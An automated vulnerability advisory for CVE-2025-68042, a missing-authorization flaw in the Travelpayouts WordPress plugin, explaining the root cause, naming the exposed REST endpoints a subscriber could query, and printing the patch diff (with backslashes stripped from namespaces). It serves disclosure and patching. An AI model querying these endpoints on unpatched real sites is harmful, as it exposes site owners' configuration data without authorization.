Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-68042: Travelpayouts <= 1.2.1 – Missing Authorization (travelpayouts)

Plugin travelpayouts
Severity Medium (CVSS 4.3)
CWE 862
Vulnerable Version 1.2.1
Patched Version 1.2.2
Disclosed January 28, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-68042:
This vulnerability is a missing authorization flaw in the Travelpayouts WordPress plugin. The plugin’s REST API endpoints lacked proper capability checks, allowing any authenticated user, including subscribers, to perform administrative actions. The CVSS score of 4.3 reflects the authenticated nature of the attack.

Root Cause:
The vulnerability existed in the `rest_api_init` method of the `Travelpayouts_REST_API_Builder` class. Three REST API routes registered in `/travelpayouts/redux-core/inc/classes/class-travelpayouts-rest-api-builder.php` used `’permission_callback’ => ‘__return_true’` (lines 60, 75, and 90 in the vulnerable version). This configuration granted unconditional access to the `/fields`, `/fields/(?P[w-_/]+)`, and `/fields/(?P[w-_/]+)/render` endpoints. The missing capability check allowed any authenticated WordPress user to invoke these administrative functions.

Exploitation:
An attacker with subscriber-level credentials could send GET requests to the vulnerable REST endpoints. The primary attack vector targets `/wp-json/travelpayouts/v1/fields` to list plugin configuration fields. Attackers could also access `/wp-json/travelpayouts/v1/fields/{id}` to retrieve specific field data and `/wp-json/travelpayouts/v1/fields/{id}/render` to render field components. No special parameters are required beyond authentication, as the vulnerability stems from the absence of authorization validation.

Patch Analysis:
The patch replaces the `’permission_callback’ => ‘__return_true’` statements with a capability check. Version 1.2.2 introduces a closure function `$perm` that calls `current_user_can(‘manage_options’)` (line 53). This function is assigned to all three REST route registrations (lines 60, 75, and 90). The fix restricts endpoint access to users with the `manage_options` capability, typically administrators only. The version constant in `/travelpayouts/definitions.php` was also updated from 1.2.1 to 1.2.2.

Impact:
Successful exploitation allows authenticated attackers with minimal privileges to access plugin configuration data through the REST API. This could expose sensitive plugin settings, widget configurations, and integration parameters. While the vulnerability does not directly enable privilege escalation or remote code execution, it violates the principle of least privilege and could facilitate reconnaissance for further attacks.

Differential between vulnerable and patched code

Code Diff
--- a/travelpayouts/definitions.php
+++ b/travelpayouts/definitions.php
@@ -17,4 +17,4 @@
 defined('TRAVELPAYOUTS_REDUX_OPTION') or define('TRAVELPAYOUTS_REDUX_OPTION', 'travelpayouts_admin_settings');
 defined('TRAVELPAYOUTS_DEBUG') or define('TRAVELPAYOUTS_DEBUG', false);
 defined('TRAVELPAYOUTS_SETTINGS_RESET_BUTTON') or define('TRAVELPAYOUTS_SETTINGS_RESET_BUTTON', false);
-define('TRAVELPAYOUTS_VERSION', '1.2.1');
+define('TRAVELPAYOUTS_VERSION', '1.2.2');
--- a/travelpayouts/redux-core/inc/classes/class-travelpayouts-field.php
+++ b/travelpayouts/redux-core/inc/classes/class-travelpayouts-field.php
@@ -144,6 +144,11 @@
         public $args;

         /**
+         * @var bool
+         */
+        public $hidden = false;
+
+        /**
 		 * Make base descriptor.
 		 *
 		 * @return Redux_Travelpayouts_Descriptor
--- a/travelpayouts/redux-core/inc/classes/class-travelpayouts-rest-api-builder.php
+++ b/travelpayouts/redux-core/inc/classes/class-travelpayouts-rest-api-builder.php
@@ -50,13 +50,17 @@
 	 * Init the rest api.
 	 */
 	public function rest_api_init() {
+		$perm = function () {
+			return current_user_can('manage_options');
+		};
+
 		register_rest_route(
 			$this->get_namespace(),
 			'/fields',
 			array(
 				'methods'             => WP_REST_Server::READABLE,
 				'callback'            => array( $this, 'list_fields' ),
-				'permission_callback' => '__return_true',
+				'permission_callback' => $perm,
 			)
 		);
 		register_rest_route(
@@ -71,7 +75,7 @@
 				),
 				'methods'             => WP_REST_Server::READABLE,
 				'callback'            => array( $this, 'get_field' ),
-				'permission_callback' => '__return_true',
+				'permission_callback' => $perm,
 			)
 		);
 		register_rest_route(
@@ -86,7 +90,7 @@
 				),
 				'methods'             => WP_REST_Server::ALLMETHODS,
 				'callback'            => array( $this, 'render_field' ),
-				'permission_callback' => '__return_true',
+				'permission_callback' => $perm,
 			)
 		);
 	}
--- a/travelpayouts/redux-core/inc/extensions/import_export/import_export/class-travelpayouts-import-export.php
+++ b/travelpayouts/redux-core/inc/extensions/import_export/import_export/class-travelpayouts-import-export.php
@@ -7,6 +7,8 @@
  * @version     4.0.0
  */

+use TravelpayoutscomponentswidgetsAlertWidget;
+
 defined( 'ABSPATH' ) || exit;

 // Don't duplicate me!
@@ -75,7 +77,11 @@
 			$id = $this->parent->args['opt_name'] . '-' . $this->field['id'];
 			?>
 			<div><h5 class='tp-text-sm tp-mt-0 tp-mb-3'><?php esc_html_e('Import Options', 'redux-framework'); ?></h5>
-				<?= TravelpayoutsadminreduxReduxOptions::alert(esc_html(apply_filters('redux-import-warning', esc_html__('WARNING! This will overwrite all existing option values, please proceed with caution!', TRAVELPAYOUTS_TEXT_DOMAIN))), ['class' => 'tp-alert--error'], '⚠') ?>
+                <?= AlertWidget::widget([
+                    'type' => AlertWidget::TYPE_ERROR,
+                    'showRoundel' => true,
+                    'content' => esc_html__('WARNING! This will overwrite all existing option values, please proceed with caution!', TRAVELPAYOUTS_TEXT_DOMAIN),
+                ]);?>
 				<div class='tp-mt-3'>
 					<a
 						href="javascript:void(0);"
--- a/travelpayouts/src/admin/redux/ReduxOptions.php
+++ b/travelpayouts/src/admin/redux/ReduxOptions.php
@@ -306,48 +306,4 @@
         return $locations[$key];
     }

-    public static function widgetsSectionDesc()
-    {
-        return TravelpayoutscomponentsHtmlHelper::tagArrayContent(
-            'div',
-            ['class' => 'travelpayouts-warning-message tp-alert tp-alert--info'],
-            [
-                '<div class="tp-alert-sign">⚠️</div>',
-                '<div class="tp-alert-content">' . Travelpayouts::__('These settings are for default settings of widgets, those were embedded  via shortcodes (plugin version before v. 1). The current version of the plugin  embeds all widgets via scripts') . '</div>',
-            ]
-        );
-    }
-
-    /**
-     * @param string| array $content
-     * @param array $htmlOptions
-     * @param string $sign
-     * @return string
-     */
-    public static function alert($content, $htmlOptions = [], $sign = false)
-    {
-        $alertClassName = 'tp-alert';
-        $className = isset($htmlOptions['class']) ? $alertClassName . ' ' . $htmlOptions['class'] : $alertClassName;
-        $htmlOptions = array_merge($htmlOptions, ['class' => $className]);
-
-        if (($isArray = is_array($content)) || is_string($content)) {
-            if ($isArray) {
-                $content = TravelpayoutscomponentsHtmlHelper::tagArrayContent(
-                    'div',
-                    [],
-                    $content
-                );
-            }
-
-            return TravelpayoutscomponentsHtmlHelper::tagArrayContent(
-                'div',
-                $htmlOptions,
-                [
-                    $sign ? '<div class="tp-alert-sign">' . $sign . '</div>' : null,
-                    '<div class="tp-alert-content">' . $content . '</div>',
-                ]
-            );
-        }
-        return '';
-    }
 }
--- a/travelpayouts/src/admin/redux/extensions/AutocompleteField.php
+++ b/travelpayouts/src/admin/redux/extensions/AutocompleteField.php
@@ -6,6 +6,7 @@
 namespace Travelpayoutsadminreduxextensions;

 use TravelpayoutsadminreduxbaseConfigurableField;
+use TravelpayoutscomponentswidgetsAlertWidget;

 /**
  * @deprecated
@@ -17,7 +18,10 @@
     public function render()
     {
         if (TRAVELPAYOUTS_DEBUG) {
-            echo '<div class="tp-alert tp-alert--warning">AutocompleteField is deprecated</div>';
+            echo AlertWidget::widget([
+                'type' => AlertWidget::TYPE_WARNING,
+                'content' => 'AutocompleteField is deprecated',
+            ]);
         }
     }
 }
 No newline at end of file
--- a/travelpayouts/src/components/BaseWidget.php
+++ b/travelpayouts/src/components/BaseWidget.php
@@ -0,0 +1,198 @@
+<?php
+/**
+ * Created by: Andrey Polyakov (andrey@polyakov.im)
+ */
+
+namespace Travelpayoutscomponents;
+
+use Exception;
+use httpExceptionRuntimeException;
+use TravelpayoutsVendorLeaguePlatesEngine;
+
+abstract class BaseWidget extends BaseObject
+{
+    /**
+     * @var Engine
+     */
+    protected $plates;
+
+    /**
+     * @var string ID виджета
+     */
+    public $id;
+
+    /**
+     * @var string Путь к директории с шаблонами
+     */
+    protected $templatePath;
+
+    /**
+     * @var array
+     */
+    protected static $stack = [];
+
+    private static $_resolvedClasses = [];
+
+    /**
+     * Инициализация виджета
+     */
+    public function init()
+    {
+        if ($this->id === null) {
+            $this->id = 'widget-' . uniqid();
+        }
+    }
+
+    abstract public function run(): string;
+
+    /**
+     * @param array $config
+     * @return string
+     */
+    public static function widget($config = [])
+    {
+        ob_start();
+        ob_implicit_flush(false);
+        try {
+            $config['class'] = get_called_class();
+            $widget = new static($config);
+            $out = '';
+            if ($widget->beforeRun()) {
+                $result = $widget->run();
+                $out = $widget->afterRun($result);
+            }
+        } catch (Exception $e) {
+            // close the output buffer opened above if it has not been closed already
+            if (ob_get_level() > 0) {
+                ob_end_clean();
+            }
+            throw $e;
+        } catch (Throwable $e) {
+            // close the output buffer opened above if it has not been closed already
+            if (ob_get_level() > 0) {
+                ob_end_clean();
+            }
+            throw $e;
+        }
+
+        return ob_get_clean() . $out;
+    }
+
+    public function beforeRun(): bool
+    {
+        return true;
+    }
+
+    public function afterRun($result): string
+    {
+
+        return $result;
+    }
+
+    /**
+     * Рендеринг шаблона
+     * @param string $view Имя шаблона
+     * @param array $data Данные для шаблона
+     * @return string
+     * @throws Exception
+     */
+    protected function render(string $view, array $data = []): string
+    {
+        $plates = $this->getPlatesEngine();
+        $plates->addData(array_merge(Closure::fromCallable("get_object_vars")->__invoke($this), [
+            '_widget' => $this,
+            'id' => $this->id,
+        ]));
+        return $plates->render($view, $data);
+    }
+
+    /**
+     * @return Engine
+     * @throws Exception
+     */
+    protected function getPlatesEngine(): Engine
+    {
+        if ($this->plates === null) {
+            $this->plates = $this->createPlatesEngine();
+        }
+
+        return $this->plates;
+    }
+
+    /**
+     * @return Engine
+     * @throws Exception
+     */
+    protected function createPlatesEngine(): Engine
+    {
+        $templatePath = $this->getTemplatePath();
+        if (!is_dir($templatePath)) {
+            throw new Exception("Template path not found: {$templatePath}");
+        }
+        return new Engine($templatePath);
+    }
+
+    /**
+     * Получение пути к шаблонам
+     * @return string
+     */
+    protected function getTemplatePath(): string
+    {
+        if ($this->templatePath !== null) {
+            return $this->templatePath;
+        }
+        $dir = dirname((new ReflectionClass($this))->getFileName());
+        return $dir . '/templates';
+    }
+
+    /**
+     * @return static
+     */
+    public static function begin($config = []): self
+    {
+        $widget = new static($config);
+        self::$stack[] = $widget;
+        return $widget;
+    }
+
+    /**
+     * Окончание захвата вывода
+     * @return static
+     * @throws Exception
+     */
+    public static function end(): self
+    {
+        if (!empty(self::$stack)) {
+            $widget = array_pop(self::$stack);
+
+            $calledClass = self::$_resolvedClasses[get_called_class()] ?? get_called_class();
+
+            if (get_class($widget) === $calledClass) {
+                /** @var static $widget */
+                if ($widget->beforeRun()) {
+                    $result = $widget->run();
+                    $result = $widget->afterRun($result);
+                    echo $result;
+                }
+
+                return $widget;
+            }
+
+            throw new Exception('Expecting end() of ' . get_class($widget) . ', found ' . get_called_class());
+        }
+
+        throw new Exception('Unexpected ' . get_called_class() . '::end() call. A matching begin() is not found.');
+    }
+
+    /**
+     * @return string
+     */
+    public function __toString()
+    {
+        try {
+            return $this->run();
+        } catch (Exception $e) {
+            return '<!-- Widget Error: ' . htmlspecialchars($e->getMessage()) . ' -->';
+        }
+    }
+}
 No newline at end of file
--- a/travelpayouts/src/components/base/BasePluginCore.php
+++ b/travelpayouts/src/components/base/BasePluginCore.php
@@ -153,10 +153,14 @@
 	 * @param string $text Text to translate.
 	 * @param array $params the parameters that will be used to replace the corresponding placeholders in the message.
 	 * @return string Translated text.
-	 * @since 2.1.0
+	 * @see __()
 	 */
 	public static function __($text, $params = [])
 	{
+		if (!did_action('init')) {
+			return self::parse_message_params($text, $params);
+		}
+
 		$domain = self::get_text_domain();
 		$message = __($text, $domain);
 		return self::parse_message_params($message, $params);
@@ -168,10 +172,14 @@
 	 * @param string $text Text to translate.
 	 * @param array $params the parameters that will be used to replace the corresponding placeholders in the message.
 	 * @return string Translated text on success, original text on failure.
-	 * @since 2.8.0
+	 * @see esc_attr__()
 	 */
 	public static function esc_attr__($text, $params = [])
 	{
+		if (!did_action('init')) {
+			return self::parse_message_params(esc_attr($text), $params);
+		}
+
 		$domain = self::get_text_domain();
 		$message = esc_attr__($text, $domain);
 		return self::parse_message_params($message, $params);
@@ -184,10 +192,14 @@
 	 * @param string $text Text to translate.
 	 * @param array $params the parameters that will be used to replace the corresponding placeholders in the message.
 	 * @return string Translated text
-	 * @since 2.8.0
+	 * @see esc_html__()
 	 */
 	public static function esc_html__($text, $params = [])
 	{
+		if (!did_action('init')) {
+			return self::parse_message_params(esc_html($text), $params);
+		}
+
 		$domain = self::get_text_domain();

 		$message = esc_html__($text, $domain);
@@ -198,10 +210,15 @@
 	 * Display translated text.
 	 * @param string $text Text to translate.
 	 * @param array $params the parameters that will be used to replace the corresponding placeholders in the message.
-	 * @since 1.2.0
+	 * @see _e()
 	 */
 	public static function _e($text, $params = [])
 	{
+		if (!did_action('init')) {
+			echo self::parse_message_params($text, $params);
+			return;
+		}
+
 		$domain = self::get_text_domain();
 		$message = translate($text, $domain);
 		echo self::parse_message_params($message, $params);
@@ -211,10 +228,15 @@
 	 * Display translated text that has been escaped for safe use in an attribute.
 	 * @param string $text Text to translate.
 	 * @param array $params the parameters that will be used to replace the corresponding placeholders in the message.
-	 * @since 2.8.0
+	 * @see esc_attr_e()
 	 */
 	public static function esc_attr_e($text, $params = [])
 	{
+		if (!did_action('init')) {
+			echo self::parse_message_params(esc_attr($text), $params);
+			return;
+		}
+
 		$domain = self::get_text_domain();
 		$message = esc_attr(translate($text, $domain));
 		echo self::parse_message_params($message, $params);
@@ -224,10 +246,15 @@
 	 * Display translated text that has been escaped for safe use in HTML output.
 	 * @param string $text Text to translate.
 	 * @param array $params the parameters that will be used to replace the corresponding placeholders in the message.
-	 * @since 2.8.0
+	 * @see esc_html_e()
 	 */
 	public static function esc_html_e($text, $params = [])
 	{
+		if (!did_action('init')) {
+			echo self::parse_message_params(esc_html($text), $params);
+			return;
+		}
+
 		$domain = self::get_text_domain();

 		$message = esc_html(translate($text, $domain));
@@ -245,10 +272,14 @@
 	 * @param array $params the parameters that will be used to replace the corresponding placeholders in the message.
 	 *                        Default 'default'.
 	 * @return string Translated context string without pipe.
-	 * @since 2.8.0
+	 * @see _x()
 	 */
 	public static function _x($text, $context, $params = [])
 	{
+		if (!did_action('init')) {
+			return self::parse_message_params($text, $params);
+		}
+
 		$domain = self::get_text_domain();
 		$message = _x($text, $context, $domain);
 		return self::parse_message_params($message, $params);
@@ -261,10 +292,15 @@
 	 * @param array $params the parameters that will be used to replace the corresponding placeholders in the message.
 	 *                        Default 'default'.
 	 * @return string Translated context string without pipe.
-	 * @since 3.0.0
+	 * @see _ex()
 	 */
 	public static function _ex($text, $context, $params = [])
 	{
+		if (!did_action('init')) {
+			echo self::parse_message_params($text, $params);
+			return;
+		}
+
 		$domain = self::get_text_domain();

 		$message = _x($text, $context, $domain);
@@ -278,10 +314,14 @@
 	 * @param array $params the parameters that will be used to replace the corresponding placeholders in the message.
 	 *                        Default 'default'.
 	 * @return string Translated text
-	 * @since 2.8.0
+	 * @see esc_attr_x()
 	 */
 	public static function esc_attr_x($text, $context, $params = [])
 	{
+		if (!did_action('init')) {
+			return self::parse_message_params(esc_attr($text), $params);
+		}
+
 		$domain = self::get_text_domain();
 		$message = esc_attr_x($text, $context, $domain);
 		return self::parse_message_params($message, $params);
@@ -294,10 +334,14 @@
 	 * @param array $params the parameters that will be used to replace the corresponding placeholders in the message.
 	 *                        Default 'default'.
 	 * @return string Translated text.
-	 * @since 2.9.0
+	 * @see esc_html_x()
 	 */
 	public static function esc_html_x($text, $context, $params = [])
 	{
+		if (!did_action('init')) {
+			return self::parse_message_params(esc_html($text), $params);
+		}
+
 		$domain = self::get_text_domain();

 		$message = esc_html_x($text, $context, $domain);
@@ -315,10 +359,15 @@
 	 * @param int $number The number to compare against to use either the singular or plural form.
 	 * @param array $params the parameters that will be used to replace the corresponding placeholders in the message.
 	 * @return string The translated singular or plural form.
-	 * @since 2.8.0
+	 * @see _n()
 	 */
 	public static function _n($single, $plural, $number, $params = [])
 	{
+		if (!did_action('init')) {
+			$message = ($number == 1) ? $single : $plural;
+			return self::parse_message_params($message, $params);
+		}
+
 		$domain = self::get_text_domain();
 		$message = _n($single, $plural, $number, $domain);
 		return self::parse_message_params($message, $params);
@@ -340,10 +389,15 @@
 	 * @param array $params the parameters that will be used to replace the corresponding placeholders in the message.
 	 *                        Default 'default'.
 	 * @return string The translated singular or plural form.
-	 * @since 2.8.0
+	 * @see _nx()
 	 */
 	public static function _nx($single, $plural, $number, $context, $params = [])
 	{
+		if (!did_action('init')) {
+			$message = ($number == 1) ? $single : $plural;
+			return self::parse_message_params($message, $params);
+		}
+
 		$domain = self::get_text_domain();
 		$message = _nx($single, $plural, $number, $context, $domain);
 		return self::parse_message_params($message, $params);
@@ -359,8 +413,6 @@
 	 *     printf( translate_nooped_plural( $message, $count, 'text-domain' ), number_format_i18n( $count ) );
 	 * @param string $singular Singular form to be localized.
 	 * @param string $plural Plural form to be localized.
-	 * @param array $params the parameters that will be used to replace the corresponding placeholders in the message.
-	 *                         Default null.
 	 * @return array {
 	 *     Array of translation information for the strings.
 	 * @type string $0        Singular form to be localized. No longer used.
@@ -370,13 +422,22 @@
 	 * @type null $context Context information for the translators.
 	 * @type string $domain Text domain.
 	 * }
-	 * @since 2.5.0
+	 * @see _n_noop()
 	 */
-	public static function _n_noop($singular, $plural, $params = [])
+	public static function _n_noop($singular, $plural)
 	{
-		$domain = self::get_text_domain();
-		$message = _n_noop($singular, $plural, $domain);
-		return self::parse_message_params($message, $params);
+		if (!did_action('init')) {
+			return [
+				0 => $singular,
+				1 => $plural,
+				'singular' => $singular,
+				'plural' => $plural,
+				'context' => null,
+				'domain' => self::get_text_domain(),
+			];
+		}
+
+		return _n_noop($singular, $plural, self::get_text_domain());
 	}

 	/**
@@ -394,8 +455,6 @@
 	 * @param string $singular Singular form to be localized.
 	 * @param string $plural Plural form to be localized.
 	 * @param string $context Context information for the translators.
-	 * @param array $params the parameters that will be used to replace the corresponding placeholders in the message.
-	 *                         Default null.
 	 * @return array {
 	 *     Array of translation information for the strings.
 	 * @type string $0        Singular form to be localized. No longer used.
@@ -406,13 +465,22 @@
 	 * @type string $context Context information for the translators.
 	 * @type string $domain Text domain.
 	 * }
-	 * @since 2.8.0
+	 * @see _nx_noop()
 	 */
-	public static function _nx_noop($singular, $plural, $context, $params = [])
+	public static function _nx_noop($singular, $plural, $context)
 	{
-		$domain = self::get_text_domain();
-		$message = _nx_noop($singular, $plural, $context, $domain);
-		return self::parse_message_params($message, $params);
+		if (!did_action('init')) {
+			return [
+				0 => $singular,
+				1 => $plural,
+				'singular' => $singular,
+				'plural' => $plural,
+				'context' => $context,
+				'domain' => self::get_text_domain(),
+			];
+		}
+
+		return _nx_noop($singular, $plural, $context, self::get_text_domain());
 	}

 	protected static function get_text_domain()
--- a/travelpayouts/src/components/web/WpRestRouteGroup.php
+++ b/travelpayouts/src/components/web/WpRestRouteGroup.php
@@ -27,7 +27,7 @@
                         $controller->render($controller->runAction($action, $request->get_params()));
                     },
                     'permission_callback' => function () {
-                        return true;
+                        return is_user_logged_in() && current_user_can('edit_posts');
                     },

                 ]);
--- a/travelpayouts/src/components/widgets/AlertWidget.php
+++ b/travelpayouts/src/components/widgets/AlertWidget.php
@@ -0,0 +1,53 @@
+<?php
+/**
+ * Created by: Andrey Polyakov (andrey@polyakov.im)
+ */
+
+namespace Travelpayoutscomponentswidgets;
+
+use TravelpayoutscomponentsBaseWidget;
+
+class AlertWidget extends BaseWidget
+{
+    public const TYPE_ERROR = 'danger';
+    public const TYPE_WARNING = 'warning';
+    public const TYPE_INFO = 'info';
+    public const TYPE_SUCCESS = 'success';
+    public $content = '';
+    public $title = null;
+    public $type = self::TYPE_INFO;
+
+    public $showRoundel = true;
+
+    public function getAlertType(): string
+    {
+        $validTypes = [
+            self::TYPE_ERROR,
+            self::TYPE_WARNING,
+            self::TYPE_INFO,
+            self::TYPE_SUCCESS,
+        ];
+
+        return in_array($this->type, $validTypes) ? $this->type : self::TYPE_INFO;
+    }
+
+    public function init()
+    {
+        parent::init();
+        ob_start();
+        ob_implicit_flush(false);
+    }
+
+    public function run(): string
+    {
+        $content = ob_get_clean();
+        if (is_string($content) && trim($content) !== '') {
+            $this->content = $content;
+        }
+        if ($this->content === '') {
+            return '';
+        }
+        return $this->render('alert');
+    }
+
+}
 No newline at end of file
--- a/travelpayouts/src/components/widgets/templates/alert.php
+++ b/travelpayouts/src/components/widgets/templates/alert.php
@@ -0,0 +1,25 @@
+<?php
+/**
+ * Created by: Andrey Polyakov (andrey@polyakov.im)
+ * @var TravelpayoutsVendorLeaguePlatesTemplateTemplate $this
+ * @var TravelpayoutscomponentswidgetsAlertWidget $_widget
+ * @var string $content
+ * @var string $type
+ * @var bool $showRoundel
+ * @var string|null $title
+ */
+
+$alertType = $_widget->getAlertType();
+?>
+
+<div class="tp-alert tp-alert tp-alert--<?= $alertType ?>">
+    <?php if ($showRoundel): ?>
+        <div class="tp-roundel tp-roundel--<?= $alertType ?> tp-roundel--sm">
+            <i class="tp-i-tabler:exclamation-mark"></i>
+        </div>
+    <?php endif; ?>
+    <div class="tp-alert-content">
+        <?= $content ?>
+    </div>
+</div>
+
--- a/travelpayouts/src/modules/moneyScript/MoneyScriptSection.php
+++ b/travelpayouts/src/modules/moneyScript/MoneyScriptSection.php
@@ -1,16 +1,14 @@
 <?php

 namespace TravelpayoutsmodulesmoneyScript;
-use TravelpayoutsVendorDIAnnotationInject;
+
 use Travelpayouts;
 use TravelpayoutsadminreduxbaseModuleSection;
-use TravelpayoutsadminreduxReduxOptions;
-use TravelpayoutscomponentsHtmlHelper;
 use TravelpayoutscomponentshttpClientCachedClient;
-use TravelpayoutscomponentsLanguageHelper;
 use TravelpayoutshelpersStringHelper;
 use TravelpayoutsmodulesaccountAccountForm;
 use TravelpayoutsmodulesmoneyScriptcomponentsSubscribedCampaign;
+use TravelpayoutsmodulesmoneyScriptwidgetsMoneyScriptSectionDescriptionWidget;

 class MoneyScriptSection extends ModuleSection
 {
@@ -38,7 +36,7 @@
         return [
             'title' => Travelpayouts::__('Money Script'),
             'icon' => 'tp-i-tabler:coin',
-            'desc' => $this->getSectionDescription(),
+            'desc' => MoneyScriptSectionDescriptionWidget::widget(),
         ];
     }

@@ -141,31 +139,4 @@
         return ksort($result) ? $result : [];
     }

-    /**
-     * @return string
-     */
-    protected function getSectionDescription(): string
-    {
-        $url = LanguageHelper::isRuDashboard() ?
-            'https://support.travelpayouts.com/hc/ru/articles/360012913480' :
-            'https://support.travelpayouts.com/hc/en-us/articles/360012913480-Automatic-replacement-of-links-on-the-website';
-
-        $anchorLink = HtmlHelper::tag('a',
-            [
-                'class' => 'tp-link',
-                'href' => $url,
-                'target' => '_blank',
-            ],
-            Travelpayouts::_x('Knowledge Base', 'moneyscript knowledge url title')
-        );
-
-        return ReduxOptions::alert([
-            HtmlHelper::tag('div', [], Travelpayouts::_x('With Money Script you can quickly replace links to travel resources such as Booking.com, Kiwitaxi and others with Travelpayouts affiliate links.',
-                'moneyscript description text')),
-            HtmlHelper::tag('div', ['class' => 'tp-mt-2'], Travelpayouts::_x('Find out more in our {link}.', 'moneyscript description text', [
-                'link' => $anchorLink,
-            ])),
-        ], ['class' => 'tp-alert--info']);
-    }
-
 }
--- a/travelpayouts/src/modules/moneyScript/widgets/MoneyScriptSectionDescriptionWidget.php
+++ b/travelpayouts/src/modules/moneyScript/widgets/MoneyScriptSectionDescriptionWidget.php
@@ -0,0 +1,25 @@
+<?php
+/**
+ * Created by: Andrey Polyakov (andrey@polyakov.im)
+ */
+
+namespace TravelpayoutsmodulesmoneyScriptwidgets;
+
+use TravelpayoutsComponentsBaseWidget;
+use TravelpayoutscomponentsLanguageHelper;
+
+class MoneyScriptSectionDescriptionWidget extends BaseWidget
+{
+    public function getSupportUrl(): string
+    {
+        return LanguageHelper::isRuDashboard() ?
+            'https://support.travelpayouts.com/hc/ru/articles/360012913480' :
+            'https://support.travelpayouts.com/hc/en-us/articles/360012913480-Automatic-replacement-of-links-on-the-website';;
+
+    }
+
+    public function run(): string
+    {
+        return $this->render('section_description');
+    }
+}
 No newline at end of file
--- a/travelpayouts/src/modules/moneyScript/widgets/templates/section_description.php
+++ b/travelpayouts/src/modules/moneyScript/widgets/templates/section_description.php
@@ -0,0 +1,34 @@
+<?php
+/**
+ * Created by: Andrey Polyakov (andrey@polyakov.im)
+ * @var MoneyScriptSectionDescriptionWidget $_widget
+ * @var TravelpayoutsVendorLeaguePlatesTemplateTemplate $this
+ */
+
+use TravelpayoutscomponentswidgetsAlertWidget;
+use TravelpayoutsmodulesmoneyScriptwidgetsMoneyScriptSectionDescriptionWidget;
+
+$this->start('anchorLink');
+?>
+<a href='<?= $_widget->getSupportUrl() ?>' class='tp-link' target='_blank'>
+    <?= Travelpayouts::_x('Knowledge Base', 'moneyscript knowledge url title') ?>
+</a>
+<?php
+$this->end();
+
+AlertWidget::begin([
+    'type' => TravelpayoutscomponentswidgetsAlertWidget::TYPE_INFO,
+    'showRoundel' => true,
+]);
+?>
+<div class='tp-stack-2'>
+    <div><?= Travelpayouts::_x('With Money Script you can quickly replace links to travel resources such as Booking.com, Kiwitaxi and others with Travelpayouts affiliate links.',
+            'moneyscript description text') ?>
+    </div>
+    <div>
+        <?=Travelpayouts::_x('Find out more in our {link}.', 'moneyscript description text', [
+            'link' => $this->section('anchorLink'),
+        ])?>
+    </div>
+</div>
+<?php AlertWidget::end(); ?>
--- a/travelpayouts/src/modules/widgets/components/forms/flights/Section.php
+++ b/travelpayouts/src/modules/widgets/components/forms/flights/Section.php
@@ -9,7 +9,7 @@
 use Travelpayouts;
 use TravelpayoutsadminreduxbaseModuleSection;
 use TravelpayoutscomponentsdictionaryCampaigns;
-use TravelpayoutsadminreduxReduxOptions;
+use TravelpayoutscomponentswidgetsAlertWidget;

 class Section extends ModuleSection
 {
@@ -29,7 +29,11 @@
         $campaign = Campaigns::getInstance()->getItem('100');
         return [
             'title' => $campaign ? $campaign->name : Travelpayouts::__('Flights'),
-            'desc' => ReduxOptions::widgetsSectionDesc(),
+            'desc' =>  AlertWidget::widget([
+                'content' => Travelpayouts::__('These settings are for default settings of widgets, those were embedded  via shortcodes (plugin version before v. 1). The current version of the plugin  embeds all widgets via scripts'),
+                'showRoundel' => true,
+                'type'=> 'info',
+            ]),
             'icon' => 'tp-i-tabler:plane',
         ];
     }
--- a/travelpayouts/src/modules/widgets/components/forms/hotels/Section.php
+++ b/travelpayouts/src/modules/widgets/components/forms/hotels/Section.php
@@ -8,10 +8,9 @@

 use Travelpayouts;
 use TravelpayoutsadminreduxbaseModuleSection;
-use TravelpayoutsadminreduxReduxOptions;
 use TravelpayoutscomponentsbrandsBrandSubscriptionService;
-use TravelpayoutscomponentsbrandsCampaignsSubscriptionsEndpoint;
 use TravelpayoutscomponentsdictionaryCampaigns;
+use TravelpayoutscomponentswidgetsAlertWidget;

 class Section extends ModuleSection
 {
@@ -31,7 +30,11 @@
         $campaign = Campaigns::getInstance()->getItem('101');
         return [
             'title' => $campaign ? $campaign->name : Travelpayouts::__('Hotels'),
-            'desc' => ReduxOptions::widgetsSectionDesc(),
+            'desc' =>  AlertWidget::widget([
+                'content' => Travelpayouts::__('These settings are for default settings of widgets, those were embedded  via shortcodes (plugin version before v. 1). The current version of the plugin  embeds all widgets via scripts'),
+                'showRoundel' => true,
+                'type'=> 'info',
+            ]),
             'icon' => 'el el-home'
         ];
     }
--- a/travelpayouts/travelpayouts.php
+++ b/travelpayouts/travelpayouts.php
@@ -13,7 +13,7 @@
  * Plugin Name:       Travelpayouts
  * Plugin URI:        https://wordpress.org/plugins/travelpayouts/
  * Description:       Earn money and make your visitors happy! Offer them useful tools for their travel needs. Earn on commission for each booking.
- * Version:           1.2.1
+ * Version:           1.2.2
  * Author:            travelpayouts
  * Author URI:        http://www.travelpayouts.com/?locale=en
  * License:           GPL-2.0+
--- a/travelpayouts/vendor/autoload.php
+++ b/travelpayouts/vendor/autoload.php
@@ -2,6 +2,21 @@

 // autoload.php @generated by Composer

+if (PHP_VERSION_ID < 50600) {
+    if (!headers_sent()) {
+        header('HTTP/1.1 500 Internal Server Error');
+    }
+    $err = 'Composer 2.3.0 dropped support for autoloading on PHP <5.6 and you are running '.PHP_VERSION.', please upgrade PHP or use Composer 2.2 LTS via "composer self-update --2.2". Aborting.'.PHP_EOL;
+    if (!ini_get('display_errors')) {
+        if (PHP_SAPI === 'cli' || PHP_SAPI === 'phpdbg') {
+            fwrite(STDERR, $err);
+        } elseif (!headers_sent()) {
+            echo $err;
+        }
+    }
+    throw new RuntimeException($err);
+}
+
 require_once __DIR__ . '/composer/autoload_real.php';

-return ComposerAutoloaderInit22528e66ae77a2d9100af4fc38c6bbb7::getLoader();
+return ComposerAutoloaderInite582440d8947703b304ae42f33df0fae::getLoader();
--- a/travelpayouts/vendor/composer/ClassLoader.php
+++ b/travelpayouts/vendor/composer/ClassLoader.php
@@ -42,21 +42,76 @@
  */
 class ClassLoader
 {
+    /** @var Closure(string):void */
+    private static $includeFile;
+
+    /** @var string|null */
+    private $vendorDir;
+
     // PSR-4
+    /**
+     * @var array<string, array<string, int>>
+     */
     private $prefixLengthsPsr4 = array();
+    /**
+     * @var array<string, list<string>>
+     */
     private $prefixDirsPsr4 = array();
+    /**
+     * @var list<string>
+     */
     private $fallbackDirsPsr4 = array();

     // PSR-0
+    /**
+     * List of PSR-0 prefixes
+     *
+     * Structured as array('F (first letter)' => array('FooBar (full prefix)' => array('path', 'path2')))
+     *
+     * @var array<string, array<string, list<string>>>
+     */
